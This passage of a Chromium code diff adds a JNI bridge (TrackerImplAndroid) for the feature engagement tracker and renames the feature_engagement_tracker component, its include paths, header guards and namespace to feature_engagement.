+++ b/components/feature_engagement/internal/android/tracker_impl_android.cc
@@ -0,0 +1,136 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "components/feature_engagement/internal/android/tracker_impl_android.h"
+
+#include <vector>
+
+#include "base/android/callback_android.h"
+#include "base/android/jni_android.h"
+#include "base/android/jni_string.h"
+#include "base/android/scoped_java_ref.h"
+#include "base/bind.h"
+#include "base/feature_list.h"
+#include "base/memory/ptr_util.h"
+#include "components/feature_engagement/public/feature_list.h"
+#include "components/feature_engagement/public/tracker.h"
+#include "jni/TrackerImpl_jni.h"
+
+namespace feature_engagement {
+
+namespace {
+
+const char kTrackerImplAndroidKey[] = "tracker_impl_android";
+
+// Create mapping from feature name to base::Feature.
+TrackerImplAndroid::FeatureMap CreateMapFromNameToFeature(
+    FeatureVector features) {
+  TrackerImplAndroid::FeatureMap feature_map;
+  for (auto it = features.begin(); it != features.end(); ++it) {
+    feature_map[(*it)->name] = *it;
+  }
+  return feature_map;
+}
+
+TrackerImplAndroid* FromTrackerImpl(Tracker* feature_engagement) {
+  TrackerImpl* impl = static_cast<TrackerImpl*>(feature_engagement);
+  TrackerImplAndroid* impl_android = static_cast<TrackerImplAndroid*>(
+      impl->GetUserData(kTrackerImplAndroidKey));
+  if (!impl_android) {
+    impl_android = new TrackerImplAndroid(impl, GetAllFeatures());
+    impl->SetUserData(kTrackerImplAndroidKey, base::WrapUnique(impl_android));
+  }
+  return impl_android;
+}
+
+}  // namespace
+
+// static
+bool TrackerImplAndroid::RegisterJni(JNIEnv* env) {
+  return RegisterNativesImpl(env);
+}
+
+// static
+TrackerImplAndroid* TrackerImplAndroid::FromJavaObject(
+    JNIEnv* env,
+    const base::android::JavaRef<jobject>& jobj) {
+  return reinterpret_cast<TrackerImplAndroid*>(
+      Java_TrackerImpl_getNativePtr(env, jobj));
+}
+
+// This function is declared in //components/feature_engagement/public/tracker.h
+// and should be linked in to any binary using Tracker::GetJavaObject.
+// static
+base::android::ScopedJavaLocalRef<jobject> Tracker::GetJavaObject(
+    Tracker* feature_engagement) {
+  return FromTrackerImpl(feature_engagement)->GetJavaObject();
+}
+
+TrackerImplAndroid::TrackerImplAndroid(TrackerImpl* tracker_impl,
+                                       FeatureVector features)
+    : features_(CreateMapFromNameToFeature(features)),
+      tracker_impl_(tracker_impl) {
+  JNIEnv* env = base::android::AttachCurrentThread();
+
+  java_obj_.Reset(
+      env,
+      Java_TrackerImpl_create(env, reinterpret_cast<intptr_t>(this)).obj());
+}
+
+TrackerImplAndroid::~TrackerImplAndroid() {
+  Java_TrackerImpl_clearNativePtr(base::android::AttachCurrentThread(),
+                                  java_obj_);
+}
+
+base::android::ScopedJavaLocalRef<jobject> TrackerImplAndroid::GetJavaObject() {
+  return base::android::ScopedJavaLocalRef<jobject>(java_obj_);
+}
+
+void TrackerImplAndroid::NotifyEvent(
+    JNIEnv* env,
+    const base::android::JavaRef<jobject>& jobj,
+    const base::android::JavaParamRef<jstring>& jevent) {
+  std::string event = ConvertJavaStringToUTF8(env, jevent);
+  tracker_impl_->NotifyEvent(event);
+}
+
+bool TrackerImplAndroid::ShouldTriggerHelpUI(
+    JNIEnv* env,
+    const base::android::JavaRef<jobject>& jobj,
+    const base::android::JavaParamRef<jstring>& jfeature) {
+  std::string feature = ConvertJavaStringToUTF8(env, jfeature);
+  DCHECK(features_.find(feature) != features_.end());
+
+  return tracker_impl_->ShouldTriggerHelpUI(*features_[feature]);
+}
+
+void TrackerImplAndroid::Dismissed(
+    JNIEnv* env,
+    const base::android::JavaRef<jobject>& jobj,
+    const base::android::JavaParamRef<jstring>& jfeature) {
+  std::string feature = ConvertJavaStringToUTF8(env, jfeature);
+  DCHECK(features_.find(feature) != features_.end());
+
+  tracker_impl_->Dismissed(*features_[feature]);
+}
+
+bool TrackerImplAndroid::IsInitialized(
+    JNIEnv* env,
+    const base::android::JavaRef<jobject>& jobj) {
+  return tracker_impl_->IsInitialized();
+}
+
+void TrackerImplAndroid::AddOnInitializedCallback(
+    JNIEnv* env,
+    const base::android::JavaRef<jobject>& jobj,
+    const base::android::JavaParamRef<jobject>& j_callback_obj) {
+  // Disambiguate RunCallbackAndroid to get the reference to the bool version.
+  void (*runBoolCallback)(const base::android::JavaRef<jobject>&, bool) =
+      &base::android::RunCallbackAndroid;
+  tracker_impl_->AddOnInitializedCallback(
+      base::Bind(runBoolCallback,
+                 base::android::ScopedJavaGlobalRef<jobject>(j_callback_obj)));
+}
+
+}  // namespace feature_engagement
diff --git a/components/feature_engagement/internal/android/tracker_impl_android.h b/components/feature_engagement/internal/android/tracker_impl_android.h
new file mode 100644
index 0000000..481f8d7
--- /dev/null
+++ b/components/feature_engagement/internal/android/tracker_impl_android.h
@@ -0,0 +1,77 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_ANDROID_TRACKER_IMPL_ANDROID_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_ANDROID_TRACKER_IMPL_ANDROID_H_
+
+#include <string>
+#include <unordered_map>
+
+#include "base/android/callback_android.h"
+#include "base/android/jni_android.h"
+#include "base/android/scoped_java_ref.h"
+#include "base/macros.h"
+#include "base/supports_user_data.h"
+#include "components/feature_engagement/internal/tracker_impl.h"
+#include "components/feature_engagement/public/feature_list.h"
+
+namespace base {
+struct Feature;
+}  // namespace base
+
+namespace feature_engagement {
+
+// JNI bridge between TrackerImpl in Java and C++. See the
+// public API of Tracker for documentation for all methods.
+class TrackerImplAndroid : public base::SupportsUserData::Data {
+ public:
+  using FeatureMap = std::unordered_map<std::string, const base::Feature*>;
+  static bool RegisterJni(JNIEnv* env);
+  static TrackerImplAndroid* FromJavaObject(
+      JNIEnv* env,
+      const base::android::JavaRef<jobject>& jobj);
+
+  TrackerImplAndroid(TrackerImpl* tracker_impl, FeatureVector features);
+  ~TrackerImplAndroid() override;
+
+  base::android::ScopedJavaLocalRef<jobject> GetJavaObject();
+
+  TrackerImpl* tracker_impl() { return tracker_impl_; }
+
+  // Tracker JNI bridge implementation.
+  virtual void NotifyEvent(JNIEnv* env,
+                           const base::android::JavaRef<jobject>& jobj,
+                           const base::android::JavaParamRef<jstring>& jevent);
+  virtual bool ShouldTriggerHelpUI(
+      JNIEnv* env,
+      const base::android::JavaRef<jobject>& jobj,
+      const base::android::JavaParamRef<jstring>& jfeature);
+  virtual void Dismissed(JNIEnv* env,
+                         const base::android::JavaRef<jobject>& jobj,
+                         const base::android::JavaParamRef<jstring>& jfeature);
+  virtual bool IsInitialized(JNIEnv* env,
+                             const base::android::JavaRef<jobject>& jobj);
+  virtual void AddOnInitializedCallback(
+      JNIEnv* env,
+      const base::android::JavaRef<jobject>& jobj,
+      const base::android::JavaParamRef<jobject>& j_callback_obj);
+
+ private:
+  // A map from the feature name to the base::Feature, to ensure that the Java
+  // version of the API can use the string name. If base::Feature becomes a Java
+  // class as well, we should remove this mapping.
+  FeatureMap features_;
+
+  // The TrackerImpl this is a JNI bridge for.
+  TrackerImpl* tracker_impl_;
+
+  // The Java-side of this JNI bridge.
+  base::android::ScopedJavaGlobalRef<jobject> java_obj_;
+
+  DISALLOW_COPY_AND_ASSIGN(TrackerImplAndroid);
+};
+
+}  // namespace feature_engagement
+
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_ANDROID_TRACKER_IMPL_ANDROID_H_
diff --git a/components/feature_engagement_tracker/internal/availability_model.h b/components/feature_engagement/internal/availability_model.h
similarity index 81%
rename from components/feature_engagement_tracker/internal/availability_model.h
rename to components/feature_engagement/internal/availability_model.h
index 5501182..27aea7e 100644
--- a/components/feature_engagement_tracker/internal/availability_model.h
+++ b/components/feature_engagement/internal/availability_model.h
@@ -2,8 +2,8 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_AVAILABILITY_MODEL_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_AVAILABILITY_MODEL_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_AVAILABILITY_MODEL_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_AVAILABILITY_MODEL_H_
 
 #include <stdint.h>
 
@@ -15,7 +15,7 @@
 struct Feature;
 }  // namespace base
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 // An AvailabilityModel tracks when each feature was made available to an
 // end user.
@@ -49,6 +49,6 @@
   DISALLOW_COPY_AND_ASSIGN(AvailabilityModel);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_AVAILABILITY_MODEL_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_AVAILABILITY_MODEL_H_
diff --git a/components/feature_engagement_tracker/internal/availability_model_impl.cc b/components/feature_engagement/internal/availability_model_impl.cc
similarity index 86%
rename from components/feature_engagement_tracker/internal/availability_model_impl.cc
rename to components/feature_engagement/internal/availability_model_impl.cc
index 6482047..4844799 100644
--- a/components/feature_engagement_tracker/internal/availability_model_impl.cc
+++ b/components/feature_engagement/internal/availability_model_impl.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/availability_model_impl.h"
+#include "components/feature_engagement/internal/availability_model_impl.h"
 
 #include <memory>
 #include <utility>
@@ -10,9 +10,9 @@
 #include "base/bind.h"
 #include "base/logging.h"
 #include "base/memory/weak_ptr.h"
-#include "components/feature_engagement_tracker/internal/persistent_availability_store.h"
+#include "components/feature_engagement/internal/persistent_availability_store.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 AvailabilityModelImpl::AvailabilityModelImpl(
     StoreLoadCallback store_load_callback)
@@ -59,4 +59,4 @@
   std::move(on_initialized_callback).Run(true);
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/availability_model_impl.h b/components/feature_engagement/internal/availability_model_impl.h
similarity index 78%
rename from components/feature_engagement_tracker/internal/availability_model_impl.h
rename to components/feature_engagement/internal/availability_model_impl.h
index f15db2f..7bd15969 100644
--- a/components/feature_engagement_tracker/internal/availability_model_impl.h
+++ b/components/feature_engagement/internal/availability_model_impl.h
@@ -2,8 +2,8 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_AVAILABILITY_MODEL_IMPL_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_AVAILABILITY_MODEL_IMPL_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_AVAILABILITY_MODEL_IMPL_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_AVAILABILITY_MODEL_IMPL_H_
 
 #include <stdint.h>
 
@@ -14,14 +14,14 @@
 #include "base/callback.h"
 #include "base/macros.h"
 #include "base/memory/weak_ptr.h"
-#include "components/feature_engagement_tracker/internal/availability_model.h"
-#include "components/feature_engagement_tracker/internal/persistent_availability_store.h"
+#include "components/feature_engagement/internal/availability_model.h"
+#include "components/feature_engagement/internal/persistent_availability_store.h"
 
 namespace base {
 struct Feature;
 }  // namespace base
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 // An AvailabilityModel which supports loading data from an
 // PersistentAvailabilityStore.
 class AvailabilityModelImpl : public AvailabilityModel {
@@ -64,6 +64,6 @@
   DISALLOW_COPY_AND_ASSIGN(AvailabilityModelImpl);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_AVAILABILITY_MODEL_IMPL_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_AVAILABILITY_MODEL_IMPL_H_
diff --git a/components/feature_engagement_tracker/internal/availability_model_impl_unittest.cc b/components/feature_engagement/internal/availability_model_impl_unittest.cc
similarity index 94%
rename from components/feature_engagement_tracker/internal/availability_model_impl_unittest.cc
rename to components/feature_engagement/internal/availability_model_impl_unittest.cc
index 9d7fa70..6c19fee 100644
--- a/components/feature_engagement_tracker/internal/availability_model_impl_unittest.cc
+++ b/components/feature_engagement/internal/availability_model_impl_unittest.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/availability_model_impl.h"
+#include "components/feature_engagement/internal/availability_model_impl.h"
 
 #include <memory>
 #include <utility>
@@ -13,10 +13,10 @@
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
 #include "base/optional.h"
-#include "components/feature_engagement_tracker/internal/persistent_availability_store.h"
+#include "components/feature_engagement/internal/persistent_availability_store.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 
@@ -131,4 +131,4 @@
             availability_model_->GetAvailability(kTestFeatureQux));
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/chrome_variations_configuration.cc b/components/feature_engagement/internal/chrome_variations_configuration.cc
similarity index 96%
rename from components/feature_engagement_tracker/internal/chrome_variations_configuration.cc
rename to components/feature_engagement/internal/chrome_variations_configuration.cc
index bb1f35f..c913e48 100644
--- a/components/feature_engagement_tracker/internal/chrome_variations_configuration.cc
+++ b/components/feature_engagement/internal/chrome_variations_configuration.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/chrome_variations_configuration.h"
+#include "components/feature_engagement/internal/chrome_variations_configuration.h"
 
 #include <map>
 #include <memory>
@@ -17,9 +17,9 @@
 #include "base/strings/string_piece.h"
 #include "base/strings/string_split.h"
 #include "base/strings/string_util.h"
-#include "components/feature_engagement_tracker/internal/configuration.h"
-#include "components/feature_engagement_tracker/internal/stats.h"
-#include "components/feature_engagement_tracker/public/feature_list.h"
+#include "components/feature_engagement/internal/configuration.h"
+#include "components/feature_engagement/internal/stats.h"
+#include "components/feature_engagement/public/feature_list.h"
 
 namespace {
 
@@ -45,7 +45,7 @@
 
 }  // namespace
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 
@@ -331,4 +331,4 @@
   return configs_;
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/chrome_variations_configuration.h b/components/feature_engagement/internal/chrome_variations_configuration.h
similarity index 72%
rename from components/feature_engagement_tracker/internal/chrome_variations_configuration.h
rename to components/feature_engagement/internal/chrome_variations_configuration.h
index b4664a7..cfdf79b 100644
--- a/components/feature_engagement_tracker/internal/chrome_variations_configuration.h
+++ b/components/feature_engagement/internal/chrome_variations_configuration.h
@@ -2,18 +2,18 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_CHROME_VARIATIONS_CONFIGURATION_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_CHROME_VARIATIONS_CONFIGURATION_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_CHROME_VARIATIONS_CONFIGURATION_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_CHROME_VARIATIONS_CONFIGURATION_H_
 
 #include "base/macros.h"
-#include "components/feature_engagement_tracker/internal/configuration.h"
-#include "components/feature_engagement_tracker/public/feature_list.h"
+#include "components/feature_engagement/internal/configuration.h"
+#include "components/feature_engagement/public/feature_list.h"
 
 namespace base {
 struct Feature;
 }  // namespace base
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 // A ChromeVariationsConfiguration provides a configuration that is parsed from
 // Chrome variations feature params. It is required to call
@@ -43,6 +43,6 @@
   DISALLOW_COPY_AND_ASSIGN(ChromeVariationsConfiguration);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_CHROME_VARIATIONS_CONFIGURATION_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_CHROME_VARIATIONS_CONFIGURATION_H_
diff --git a/components/feature_engagement_tracker/internal/chrome_variations_configuration_unittest.cc b/components/feature_engagement/internal/chrome_variations_configuration_unittest.cc
similarity index 98%
rename from components/feature_engagement_tracker/internal/chrome_variations_configuration_unittest.cc
rename to components/feature_engagement/internal/chrome_variations_configuration_unittest.cc
index d8027dd..7298374 100644
--- a/components/feature_engagement_tracker/internal/chrome_variations_configuration_unittest.cc
+++ b/components/feature_engagement/internal/chrome_variations_configuration_unittest.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/chrome_variations_configuration.h"
+#include "components/feature_engagement/internal/chrome_variations_configuration.h"
 
 #include <map>
 #include <string>
@@ -14,11 +14,11 @@
 #include "base/metrics/field_trial_params.h"
 #include "base/test/histogram_tester.h"
 #include "base/test/scoped_feature_list.h"
-#include "components/feature_engagement_tracker/internal/configuration.h"
-#include "components/feature_engagement_tracker/internal/stats.h"
+#include "components/feature_engagement/internal/configuration.h"
+#include "components/feature_engagement/internal/stats.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 
@@ -628,4 +628,4 @@
   EXPECT_EQ(expected_qux, qux);
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/condition_validator.cc b/components/feature_engagement/internal/condition_validator.cc
similarity index 92%
rename from components/feature_engagement_tracker/internal/condition_validator.cc
rename to components/feature_engagement/internal/condition_validator.cc
index 38b59b4..61a57e20 100644
--- a/components/feature_engagement_tracker/internal/condition_validator.cc
+++ b/components/feature_engagement/internal/condition_validator.cc
@@ -2,11 +2,11 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/condition_validator.h"
+#include "components/feature_engagement/internal/condition_validator.h"
 
 #include <ostream>
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 ConditionValidator::Result::Result(bool initial_values)
     : event_model_ready_ok(initial_values),
@@ -54,4 +54,4 @@
             << ", availability_ok=" << result.availability_ok << " }";
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/condition_validator.h b/components/feature_engagement/internal/condition_validator.h
similarity index 87%
rename from components/feature_engagement_tracker/internal/condition_validator.h
rename to components/feature_engagement/internal/condition_validator.h
index e190cb7..809f4579 100644
--- a/components/feature_engagement_tracker/internal/condition_validator.h
+++ b/components/feature_engagement/internal/condition_validator.h
@@ -2,8 +2,8 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_CONDITION_VALIDATOR_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_CONDITION_VALIDATOR_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_CONDITION_VALIDATOR_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_CONDITION_VALIDATOR_H_
 
 #include <stdint.h>
 
@@ -11,13 +11,13 @@
 #include <string>
 
 #include "base/macros.h"
-#include "components/feature_engagement_tracker/public/feature_list.h"
+#include "components/feature_engagement/public/feature_list.h"
 
 namespace base {
 struct Feature;
 }  // namespace base
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 struct FeatureConfig;
 class AvailabilityModel;
 class EventModel;
@@ -94,6 +94,6 @@
 std::ostream& operator<<(std::ostream& os,
                          const ConditionValidator::Result& result);
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_CONDITION_VALIDATOR_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_CONDITION_VALIDATOR_H_
diff --git a/components/feature_engagement_tracker/internal/condition_validator_unittest.cc b/components/feature_engagement/internal/condition_validator_unittest.cc
similarity index 93%
rename from components/feature_engagement_tracker/internal/condition_validator_unittest.cc
rename to components/feature_engagement/internal/condition_validator_unittest.cc
index a6f8cb5..381632fe 100644
--- a/components/feature_engagement_tracker/internal/condition_validator_unittest.cc
+++ b/components/feature_engagement/internal/condition_validator_unittest.cc
@@ -2,11 +2,11 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/condition_validator.h"
+#include "components/feature_engagement/internal/condition_validator.h"
 
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 TEST(ConditionValidatorResultTest, TestAllOK) {
   EXPECT_TRUE(ConditionValidator::Result(true).NoErrors());
@@ -83,4 +83,4 @@
   EXPECT_FALSE(result.NoErrors());
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/configuration.cc b/components/feature_engagement/internal/configuration.cc
similarity index 96%
rename from components/feature_engagement_tracker/internal/configuration.cc
rename to components/feature_engagement/internal/configuration.cc
index 60b30230..048eb63d 100644
--- a/components/feature_engagement_tracker/internal/configuration.cc
+++ b/components/feature_engagement/internal/configuration.cc
@@ -2,13 +2,13 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/configuration.h"
+#include "components/feature_engagement/internal/configuration.h"
 
 #include <string>
 
 #include "base/logging.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 Comparator::Comparator() : type(ANY), value(0) {}
 
@@ -132,4 +132,4 @@
             << ", availability: " << feature_config.availability << " }";
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/configuration.h b/components/feature_engagement/internal/configuration.h
similarity index 93%
rename from components/feature_engagement_tracker/internal/configuration.h
rename to components/feature_engagement/internal/configuration.h
index f9ebb733..891a62e 100644
--- a/components/feature_engagement_tracker/internal/configuration.h
+++ b/components/feature_engagement/internal/configuration.h
@@ -2,8 +2,8 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_CONFIGURATION_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_CONFIGURATION_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_CONFIGURATION_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_CONFIGURATION_H_
 
 #include <map>
 #include <ostream>
@@ -17,7 +17,7 @@
 struct Feature;
 }
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 // A ComparatorType describes the relationship between two numbers.
 enum ComparatorType {
@@ -144,6 +144,6 @@
   DISALLOW_COPY_AND_ASSIGN(Configuration);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_CONFIGURATION_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_CONFIGURATION_H_
diff --git a/components/feature_engagement_tracker/internal/configuration_unittest.cc b/components/feature_engagement/internal/configuration_unittest.cc
similarity index 95%
rename from components/feature_engagement_tracker/internal/configuration_unittest.cc
rename to components/feature_engagement/internal/configuration_unittest.cc
index 20be647..540950e4 100644
--- a/components/feature_engagement_tracker/internal/configuration_unittest.cc
+++ b/components/feature_engagement/internal/configuration_unittest.cc
@@ -2,11 +2,11 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/configuration.h"
+#include "components/feature_engagement/internal/configuration.h"
 
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 TEST(ComparatorTest, Any) {
   EXPECT_TRUE(Comparator(ANY, 0).MeetsCriteria(0));
@@ -78,4 +78,4 @@
   EXPECT_TRUE(Comparator(NOT_EQUAL, 10).MeetsCriteria(11));
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/editable_configuration.cc b/components/feature_engagement/internal/editable_configuration.cc
similarity index 81%
rename from components/feature_engagement_tracker/internal/editable_configuration.cc
rename to components/feature_engagement/internal/editable_configuration.cc
index 6ebbd71..cdce5386 100644
--- a/components/feature_engagement_tracker/internal/editable_configuration.cc
+++ b/components/feature_engagement/internal/editable_configuration.cc
@@ -2,15 +2,15 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/editable_configuration.h"
+#include "components/feature_engagement/internal/editable_configuration.h"
 
 #include <map>
 
 #include "base/feature_list.h"
 #include "base/logging.h"
-#include "components/feature_engagement_tracker/internal/configuration.h"
+#include "components/feature_engagement/internal/configuration.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 EditableConfiguration::EditableConfiguration() = default;
 
@@ -41,4 +41,4 @@
   return configs_;
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/editable_configuration.h b/components/feature_engagement/internal/editable_configuration.h
similarity index 75%
rename from components/feature_engagement_tracker/internal/editable_configuration.h
rename to components/feature_engagement/internal/editable_configuration.h
index b0168ac..b92b3da5 100644
--- a/components/feature_engagement_tracker/internal/editable_configuration.h
+++ b/components/feature_engagement/internal/editable_configuration.h
@@ -2,17 +2,17 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_EDITABLE_CONFIGURATION_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_EDITABLE_CONFIGURATION_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_EDITABLE_CONFIGURATION_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_EDITABLE_CONFIGURATION_H_
 
 #include "base/macros.h"
-#include "components/feature_engagement_tracker/internal/configuration.h"
+#include "components/feature_engagement/internal/configuration.h"
 
 namespace base {
 struct Feature;
 }  // namespace base
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 // An EditableConfiguration provides a configuration that can be configured
 // by calling SetConfiguration(...) for each feature, which makes it well
@@ -41,6 +41,6 @@
   DISALLOW_COPY_AND_ASSIGN(EditableConfiguration);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_EDITABLE_CONFIGURATION_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_EDITABLE_CONFIGURATION_H_
diff --git a/components/feature_engagement_tracker/internal/editable_configuration_unittest.cc b/components/feature_engagement/internal/editable_configuration_unittest.cc
similarity index 91%
rename from components/feature_engagement_tracker/internal/editable_configuration_unittest.cc
rename to components/feature_engagement/internal/editable_configuration_unittest.cc
index ee347bdd..817d988 100644
--- a/components/feature_engagement_tracker/internal/editable_configuration_unittest.cc
+++ b/components/feature_engagement/internal/editable_configuration_unittest.cc
@@ -2,15 +2,15 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/editable_configuration.h"
+#include "components/feature_engagement/internal/editable_configuration.h"
 
 #include <string>
 
 #include "base/feature_list.h"
-#include "components/feature_engagement_tracker/internal/configuration.h"
+#include "components/feature_engagement/internal/configuration.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 
@@ -74,4 +74,4 @@
   EXPECT_EQ(invalid_foo_config, invalid_foo_config_result);
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/event_model.h b/components/feature_engagement/internal/event_model.h
similarity index 85%
rename from components/feature_engagement_tracker/internal/event_model.h
rename to components/feature_engagement/internal/event_model.h
index 549e30e..5a2df54 100644
--- a/components/feature_engagement_tracker/internal/event_model.h
+++ b/components/feature_engagement/internal/event_model.h
@@ -2,8 +2,8 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_EVENT_MODEL_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_EVENT_MODEL_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_EVENT_MODEL_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_EVENT_MODEL_H_
 
 #include <map>
 #include <string>
@@ -11,7 +11,7 @@
 #include "base/callback.h"
 #include "base/macros.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
